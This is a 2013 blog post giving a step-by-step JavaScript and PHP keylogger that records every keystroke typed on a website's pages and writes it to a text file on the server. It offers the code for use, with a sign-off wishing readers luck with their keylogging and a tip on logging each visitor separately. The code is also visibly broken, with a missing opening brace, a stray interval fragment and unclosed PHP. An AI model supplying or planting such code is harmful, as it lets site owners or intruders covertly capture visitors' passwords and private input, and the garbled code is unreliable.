Friday, November 1, 2013

Javascript keyLogger ( Full source code with explanation ) -Record every Key stroke in your website .


1. A website  with php support
2. A webbrowser

STEP 1 : Creating a file code.js and uploading it to your site in any durectory ( Let the directory be dir )

The below code should be pasted inside code.js 

var keys='';  // declaring a javascript variable to store each keystroke 
document.onkeypress = function(e) // calling the function to execute whenever a keystroke is there on html document  document.onkeypress  is an event handler

get = window.event?event:e;
key = get.keyCode?get.keyCode:get.charCode; //get character code 
key = String.fromCharCode(key); // convert it to string 
keys+=key; // append current character to previous one (concatinate)
new Image().src = '/keylogger.php?c='+keys; // sending data as get request by creating a new image 
keys = '';
}, 1000); // set interval to execute function continuously

STEP 2 : Creating a php file "keylogger.php"


if(!empty($_GET['c'])) {
$logfile = fopen('data.txt', 'a+');
fwrite($logfile, $_GET['c']);


 The above code writes each character obtained from our javascript request to a  text file called data.txt .

STEP 3 : Creating a text file data.txt in directory "dir".

No code to be used inside this file

STEP 4: Implementation code

To use this key logger  in any page just use the below code

<script src="path to code.js">

path to code.js should be replaced with full path to the file code.js . for example
Now you are finished .

This script will not save who  have pressed the particualr key.
The code will record every key stroke in your site . if you know some php you can make the code working for each user and record  every data to a database rather than text file...

Anyhow ..... Best of wishes for your keylogging.....

Recommended Articles

  1. Top Best Free Keylogger Software List 

  2. Create Simple Python Keylogger - Step by Step Tutorial ( With full code and explanation)